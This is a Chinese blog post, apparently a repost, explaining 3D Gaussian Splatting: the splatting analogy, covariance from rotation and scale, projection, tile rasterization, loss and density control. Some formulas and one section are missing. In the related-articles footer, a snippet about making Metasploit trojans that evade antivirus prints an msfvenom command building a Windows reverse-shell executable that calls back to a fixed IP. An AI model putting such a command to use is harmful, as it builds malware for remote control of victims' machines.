3DGS较真系列

news2025/4/1 10:07:07

引言

机器视觉领域中,新颖视图合成技术的核心目标是通过图像或视频构建可以被计算机处理和理解的3D模型。该技术被认为是机器理解真实世界复杂性的基础,催生了大量的应用,包括3D建模、虚拟现实、自动驾驶等诸多领域。回顾其发展历史,针对真实世界场景重建的研究早在深度学习诞生之前就已经兴起。

早期研究主要集中在光场和结构性数据的恢复上,受限于早期计算机对密集采样和结构化捕获的算力限制,在处理复杂光照场景和不规则结构方面出现了巨大技术瓶颈。2006年,运动结构恢复算法(Structure from Motion,后文简称SFM)和多视图立体算法(multi-view stereo,后文简称MVS)的出现打破了这一僵局,为后续新颖视图合成技术提供了强大的基础框架。2020年,ECCV 2020,隐式神经辐射场技术(NeRF)诞生,实现了这一技术的阶段性飞跃。NeRF利用深度神经网络,实现空间坐标到图像色彩及密度的直接映射,构建了连续、立体场景功能,实现了该领域中三维模型前所未有的细节和真实感,但代价也十分明显:1)计算强度极高:NeRF的场景构建方法为计算密集型,单一场景构建需要大量的算力资源和时间成本,尤其是高分辨率输出时;2)可编辑性差:单一场景的编辑需要重新训练整个流程。操纵隐式表达的场景具有较大挑战,中间环节的神经网络参数都需手动调控。

针对上述NeRF存在的困境,三维高斯飞溅技术(3D Gaussian Splatting,后文简称3DGS)应运而生。其主要思想在于使用3D Gaussian椭球表示三维模型,并通过Splatting技术渲染模型图像。该方法实现了辐射场的实时渲染,能够在较少的训练时间内,实现SOTA级别的视觉效果。3DGS针对多张图像或视频拍摄的场景时,允许以1080P分辨率进行实时(≥30FPS)的新视图渲染。

三维高斯飞溅(3DGS)

3D Gaussian Splatting和NeRF一样,主要用于新视图合成。
特点:

使用光栅化渲染方式,而不是NeRF的基于射线的体渲染(volumetric rendering along a ray)
使用多个3D高斯球显示的表达场景
训练推理速度快的同时保证质量高
本质上是一个优化问题,没有使用神经网络

1.捏雪球

3DGS是3D Gaussian Splatting的简写,3D高斯在空间中是一个椭球形状的物体,Splatting意思是喷溅,那么如何去理解Splatting呢?

Splatting中splat是一个拟声词,译为啪叽一声,想象输入是一些雪球,图片是一面墙,图像生成的过程模拟为雪球砸向墙的过程,每扔一个雪球,墙面上会有扩散痕迹,足迹(footprint),同时会有啪叽一声,因此得名。

Splatting的核心是什么呢,分为以下三步:

  • 选择[雪球]
  • 抛掷雪球:从3D投影到2D,得到足迹
  • 加以合成,形成最后的图像

对于第一步选择雪球,为什么需要选择雪球呢,因为我们的输入是一些点,点本质是没有体积的,也是没有能量的,所以选择一个核来对他进行膨胀,这个核可以选择高斯也可以选择圆、正方形或其他;那为什么选择高斯呢,就是因为他有很多优良的数学性质,如下。

如果一个物体在所有方向都具有相同的扩散程度,那么他就有各向同性,可以参考球形,否则具有各向异性,参考椭球形。各向同性和各向异性的差异可以理解为椭球是具有不同形状的球。

可以使用协方差矩阵来控制椭球的形状。因为任意高斯都可以看做是标准高斯通过仿射变换得到,所以任意椭球都可以看作是球通过仿射变换得到。

而协方差矩阵是可以通过旋转和缩放矩阵来表达的,表示了这个3D高斯在各个坐标轴的缩放以及旋转。由于3D高斯的协方差矩阵必须满足半正定,而直接学习协方差矩阵很难满足这个条件,不能用传统梯度下降法,或者说不能将协方差矩阵作为一个优化参数直接优化。所以在之后的实现中,也是先学习高斯的旋转矩阵和缩放矩阵,再通过他们构造对应的协方差矩阵;那么不直接对协方差矩阵优化,而是将R,S作为优化参数优化,就可以保持协方差矩阵的正半定。

  • R是四元数表示的旋转矩阵(此矩阵要保持normalization)

  • S是一个对角缩放矩阵,其对角线上是协方差矩阵三个特征值的平方根

通过定义R,S以及location(也就是均值),我们可以得到三维空间中所有形式的3D Gaussian。 

所以说,捏雪球的过程就是形成一个3D高斯的过程,3D高斯本身是一个椭球,可以通过协方差零矩阵来控制椭球的形状,而可以通过旋转和缩放矩阵来控制协方差矩阵。

2.抛雪球

是计算机图形学中用三维点进行渲染的方法,该方法将三维点视作雪球往图像平面上抛,雪球在图像平面上会留下扩散痕迹,这些点的扩散痕迹叠加在一起就构成了最后的图像,是一种针对点云的渲染方法)的方法进行渲染。

我们需要实现某种方式,能够将多个3D Gaussian投影到2D image上来渲染结果。

抛雪球即为从3D到像素的一个过程,这个变化主要是通过一些变换来做的,比如正交投影,是与z无关的一种投影;透视投影,是与z有关的一种投影。

具体来说,仿照渲染管线的流程,假如一个初始的3D Gaussian是在模型空间的话,协方差矩阵就相当于模型变换,将3D Gaussian转换到了世界空间。然后W是View Transform Matrix,将3D Gaussian转换到了相机空间。J是Jocobian Matrix,是用来近似Project Transfor Matrix实现Project Transform。 

3.雪球颜色

4.交叉优化

优化的目的是创建一组密集的 3D Gaussian 以精确地表示场景。优化的参数包括:三维位置 p、透明度 α 各向异性协方差 Σ 和球谐系数 SH (spherical harmonic coefficients) 。这些 ⌈参数的优化⌋ 和 ⌈自适应控制高斯模型⌋ 交替进行。

注意:图中的球谐系数 SH (spherical harmonic coefficients) 来表示每个高斯的颜色 ,不同视角颜色不同。

参数优化使用 SGD 连续迭代完成,每一轮迭代时都会渲染图像并将其与真实的训练视图做比较。α使用 Sigmoid 激活函数来限制 (0, 1) 的范围;Σ使用指数激活函数激活;p使用指数衰减调度技术 (exponential decay scheduling technique) 进行优化。模型的损失函数是 L1 与 D-SSIM 项的组合:

5.整体流程

场景表达通过很多个高斯球来实现,如下图所示,每个高斯球对应59个参数。

其中决定一个高斯球需要59个系数来表达,这些也是优化问题要求解的状态:

中心位置:3dof
协方差矩阵:7dof
透明度:1dof
球谐系数:48 dof(J = 3,16 * 3)
整体流程

1)Initialization: 输入为3D点云,可以 通过colmap得到,(NeRF也会用到colmap,使用位姿), 基于这些点云初始化高斯球,每个点云位置放置一个高斯球,中心点位置设置为点云位置,其他随机初始化
2) Projection: 根据相机内外参数(图像位姿),把高斯球splatting到图像上–把能看到99%的所有高斯球投影到图像上(参考“将3D 高斯投影到2D像素平面”)使用下面3个公式

3)Differentiable Tile Rasterizer:在投影重叠区域进行光栅化渲染(Differentiable Tile Rasterizer),使用α \alphaα blending,这是确定的函数,不需要学习。把这些高斯球进行混合,过程可微,公式就是:

4)与gt计算loss,更新每个高斯球的59维系数
在这里插入图片描述
损失函数为:

其中:

  • L1 loss:基于逐像素比较差异,然后取绝对值

  • SSIM loss(结构相似)损失函数:考虑了亮度 (luminance)、对比度 (contrast) 和结构 (structure)指标,这就考虑了人类视觉感知,一般而言,SSIM得到的结果会比L1,L2的结果更有细节,SSIM 的取值范围为 -1 到 1,1 表示两幅图像完全一样,-1 表示两幅图像差异最大。

5)梯度回传

  • 更新每个高斯球的属性(59维系数)-这是个优化问题

  • Adaptive Density Control:根据梯度实现3D高斯球的clone和split,具体而言
  1. 学习过程中,较大梯度(59维导数,模长大)的高斯球存在under-reconstruction和over-reconstruction问题
  2. under-reconstruction区域的高斯球方差小,进行clone
  3. over-reconstruction区域高斯球方差大,进行split

4.每经过固定次数的迭代进行一次剔除操作,剔除几乎透明(透明度接近0)的高斯球以及方差过大的高斯球

参考链接:https://blog.csdn.net/m0_37604894/article/details/137864723?spm=1001.2101.3001.6650.8&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-8-137864723-blog-135397265.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-8-137864723-blog-135397265.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=16 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2322563.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MSF木马的生成及免杀

先简单生成一个木马 ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

人工智能与无人机:无人机的进步与应用技术详解

人工智能(Artificial Intelligence,简称AI)是一门研究、开发用于模拟、延伸和扩展人类智能的理论、方法、技术及应用系统的新技术科学。 无人机,全称为无人驾驶飞行器(UAV),也称为无人机器人、…

LeetCode算法题(Go语言实现)_12

题目 给定一个长度为 n 的整数数组 height 。有 n 条垂线,第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线,使得它们与 x 轴共同构成的容器可以容纳最多的水。 返回容器可以储存的最大水量。 一、代码实现 func maxArea(height []…

“11.9元“引发的系统雪崩:Spring Boot中BigDecimal反序列化异常全链路狙击战 ✨

💥 "11.9元"引发的系统雪崩:Spring Boot中BigDecimal反序列化异常全链路狙击战 🎯 🔍 用 Mermaid原生防御体系图 #mermaid-svg-XZtcYBnmHrF9bFjc {font-family:"trebuchet ms",verdana,arial,sans-serif;fon…

SQL注入零基础学习二MYSQL手工注入

1.SQL注入之sqli-labs环境搭建 1.Sqli-labs项目地址—Github获取:GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. Sqli-labs环境安装 需要安装以下环境 apachemysqlphp Windows版phpstudy下载 - 小皮面板(phpstudy…

可以媲美YOLO的开源实时目标检测模型:RF-DETR,在 COCO 上达到 SOTA 水平,并专为微调设计

RF-DETR:SOTA 实时目标检测模型 RF-DETR 是由 Roboflow 开发并基于 Transformer 的实时目标检测模型架构,采用 Apache 2.0 许可证发布。 RF-DETR 是第一个在 Microsoft COCO 基准测试中超过 60 AP 的实时模型,同时在基础尺寸下具有竞争力。…

【hadoop】hadoop streaming

API: https://hadoop.apache.org/docs/stable/hadoop-streaming/HadoopStreaming.html(hadoop3) https://cwiki.apache.org/confluence/display/HADOOP2/HadoopStreaming(hadoop2) hadoop version查看hadoop版本&#…

Unity-RectTransform设置UI width

不知道有没人需要这样的代码,就是.sizeDelta //不确定是不是英文翻译的原因,基本很难理解,sizeDeltaSize,//未必完全正确,但这么写好像总没错过 //image 在一个UnityEngine.UI.Image 的数组内foreach (var image in l…

【现代深度学习技术】现代卷积神经网络04:含并行连接的网络(GoogLeNet)

【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈PyTorch深度学习 ⌋ ⌋ ⌋ 深度学习 (DL, Deep Learning) 特指基于深层神经网络模型和方法的机器学习。它是在统计机器学习、人工神经网络等算法模型基础上,结合当代大数据和大算力的发展而发展出来的。深度学习最重…

链表-LeetCode

这里写目录标题 1 排序链表1.1 插入法 O(n)1.2 归并排序 1 排序链表 1.1 插入法 O(n) /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode() : val(0), next(nullpt…

【STL】vector介绍(附部分接口模拟实现)

文章目录 1.介绍2.使用2.1 vector的构造2.2 vector空间相关接口2.2.1 size()2.2.2 capacity()2.2.3 empty()2.2.4 resize()2.2.5 reserve() 2.3 vector的增删查改2.3.1 push_back()2.3.2 insert()2.3.3 pop_back()2.3.4 erase()2.3.5 swap()2.3.6 operator[]注:关于…

一周掌握Flutter开发--8. 调试与性能优化(上)

文章目录 8. 调试与性能优化核心技能8.1 使用 Flutter DevTools 分析性能8.2 检查 Widget 重绘(debugPaintSizeEnabled)8.3 解决 ListView 卡顿(ListView.builder itemExtent) 其他性能优化技巧8.4 减少 build 方法的调用8.5 使用…

游戏引擎学习第182天

回顾和今天的计划 昨天的进展令人惊喜,原本的调试系统已经被一个新的系统完全替换,新系统不仅能完成原有的所有功能,还能捕获完整的调试信息,包括时间戳等关键数据。这次的替换非常顺利,效果很好。 今天的重点是在此基…

C语言_数据结构_二叉树

【本节目标】 树的概念及结构 二叉树的概念及结构 二叉树的顺序结构及实现 二叉树的链式结构及实现 1. 树的概念及结构 1.1 树的概念 树是一种非线性的数据结构,它是由n(n>0)个有限结点组成一个具有层次关系的集合。把它叫做树是因为…

Compare全目录文件比较内容(项目中用到过)

第一步:找到“会话”——“会话设置” 会话设置弹框信息 第二步:选择“比较”tab标签 比较内容:选中二进制比较 第三步:选中所有文件 第四步:右键选中“比较内容” 第五步:选中“基于规则的比较”

3.26[a]paracompute homework

5555 负载不平衡指多个线程的计算量差异显著,导致部分线程空转或等待,降低并行效率。其核心矛盾在于任务划分的静态性与计算动态性不匹配,尤其在处理不规则数据或动态任务时尤为突出。以稀疏矩阵的向量乘法为例,假设其非零元素分…

视觉大模型CLIP论文精读

论文:Learning Transferable Visual Models From Natural Language Supervision 代码:https://github.com/openai/CLIP 摘要 最先进的计算机视觉系统是针对预测一组固定的、预先确定的对象类别进行训练的。这种受限的监督形式限制了它们的通用性和可用…

链表的创建:头插法与尾插法详解(数据结构)

C 链表的创建:头插法与尾插法详解 链表(Linked List)是一种重要的数据结构,适用于插入和删除操作频繁的场景。本文介绍 两种常见的链表构建方法: 尾插法(Append / Tail Insertion):…

深入解析 Java 类加载机制及双亲委派模型

🔍 Java的类加载机制是确保应用程序正确运行的基础,特别是双亲委派模型,它通过父类加载器逐层加载类,避免冲突和重复加载。但在某些特殊场景下,破坏双亲委派模型会带来意想不到的效果。本文将深入解析Java类加载机制、…

MySQL数据库精研之旅第四期:解锁库操作高阶技能

专栏:MySQL数据库成长记 个人主页:手握风云 目录 一、查看所有表 1.1. 语法 二、创建表 2.1. 语法 2.2. 示例 2.3. 表在磁盘上对应的⽂件 三、查看表结构 3.1. 语法 3.2. 示例 四、修改表 4.1. 语法 4.2. 示例 五、删除表 5.1. 语法 5.2.…